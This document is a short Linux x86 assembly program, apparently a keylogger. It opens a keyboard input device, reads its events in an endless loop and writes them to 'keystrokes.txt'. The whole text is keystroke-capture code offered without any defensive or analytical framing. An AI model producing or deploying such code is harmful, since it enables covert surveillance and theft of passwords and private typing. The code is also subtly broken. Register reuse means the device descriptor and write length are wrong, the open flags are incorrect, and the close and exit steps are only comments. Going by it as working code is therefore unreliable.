section .data
file_descriptor dd 0 ; File descriptor for the output file
section .bss
buffer resb 64 ; Buffer to store keystrokes
section .text
global _start
_start:
; Open a file for writing
mov eax, 5 ; syscall number for sys_open (5)
mov ebx, output_file ; pointer to output file path
mov ecx, 0x0002_0101 ; flags (O_WRONLY | O_CREAT | O_TRUNC)
mov edx, 0x1A4 ; file mode (0644 in octal)
int 0x80 ; invoke syscall
mov [file_descriptor], eax ; store the file descriptor
; Open the keyboard input device
mov eax, 5 ; syscall number for sys_open (5)
mov ebx, input_device ; pointer to input device path (e.g., "/dev/input/eventX")
mov ecx, 0x0000_0000 ; flags (O_RDONLY)
int 0x80 ; invoke syscall
; Loop to continuously read and write keystrokes
read_and_write_loop:
; Read input event (24 bytes per event, adjust as needed)
mov eax, 3 ; syscall number for sys_read (3)
mov ebx, eax ; file descriptor (keyboard input device)
mov ecx, buffer ; pointer to the buffer
mov edx, 24 ; number of bytes to read
int 0x80 ; invoke syscall
; Write the input event to the file
mov eax, 4 ; syscall number for sys_write (4)
mov ebx, [file_descriptor] ; file descriptor (output file)
mov ecx, buffer ; pointer to the buffer
mov edx, eax ; number of bytes to write
int 0x80 ; invoke syscall
; Repeat the loop to capture more keystrokes
jmp read_and_write_loop
; Close the input device and file before exiting
; Use sys_close to close the input device and the output file
; Exit the program
; Use sys_exit to exit the program
section .data
output_file db 'keystrokes.txt',0 ; Output file path
input_device db '/dev/input/eventX',0 ; Keyboard input device path (replace X with the correct event number)